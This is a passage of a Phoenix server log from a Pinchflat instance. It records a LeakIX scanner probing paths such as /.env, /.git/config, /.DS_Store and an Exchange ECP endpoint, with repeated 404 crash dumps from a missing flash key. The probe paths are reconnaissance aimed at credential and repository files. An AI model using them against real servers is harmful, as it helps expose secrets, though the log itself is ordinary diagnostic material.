"pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/___proxy_subdomain_cpanel", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUr9VHCbnNneAADY4h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_cpanel", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_cpanel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_cpanel", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138865.0>, params: %{}, path_info: ["___proxy_subdomain_cpanel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/___proxy_subdomain_cpanel", (truncated) 04:51:19.705 [info] GET /v2/_catalog 04:51:19.705 [info] Sent 404 in 348µs 04:51:19.705 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:20.731 [info] GET /.DS_Store 04:51:20.731 [debug] QUERY OK source="settings" db=0.2ms idle=196.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:20.732 [debug] QUERY OK source="settings" db=0.1ms idle=197.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:20.732 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:20.732 [error] #PID<0.138867.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 11) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.DS_Store ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138867.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.DS_Store", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUsCcqQPPAei8ADY5h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138867.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.DS_Store", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUsCcqQPPAei8 (truncated) 04:51:21.710 [info] GET /.env 04:51:21.710 [debug] QUERY OK source="settings" db=0.1ms idle=1175.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:21.711 [debug] QUERY OK source="settings" db=0.1ms idle=1167.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:21.711 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:21.711 [error] #PID<0.138868.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 12) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138868.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUsGGE40A7op4ADY6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138868.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUsGGE40A7op4ADY6B"} ], (truncated) 04:51:23.715 [info] GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 04:51:23.715 [debug] QUERY OK source="settings" db=0.1ms idle=1181.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:23.716 [debug] QUERY OK source="settings" db=0.1ms idle=1168.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:23.716 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:23.716 [error] #PID<0.138869.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 13) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 13, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138869.0>, params: %{}, path_info: ["ecp", "Current", "exporttool", "microsoft.exchange.ediscovery.exporttool"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUsNkJxdOTr6UADY6h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 13, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 13, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138869.0>, params: %{}, path_info: ["ecp", "Current", "exporttool", "microsoft.exchange.ediscovery.exporttool"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", (truncated) 04:51:25.706 [info] GET /.git/config 04:51:25.707 [debug] QUERY OK source="settings" db=0.3ms idle=172.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:25.708 [debug] QUERY OK source="settings" db=0.3ms idle=172.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:25.708 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:25.709 [error] #PID<0.138870.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 14) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 14, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138870.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ 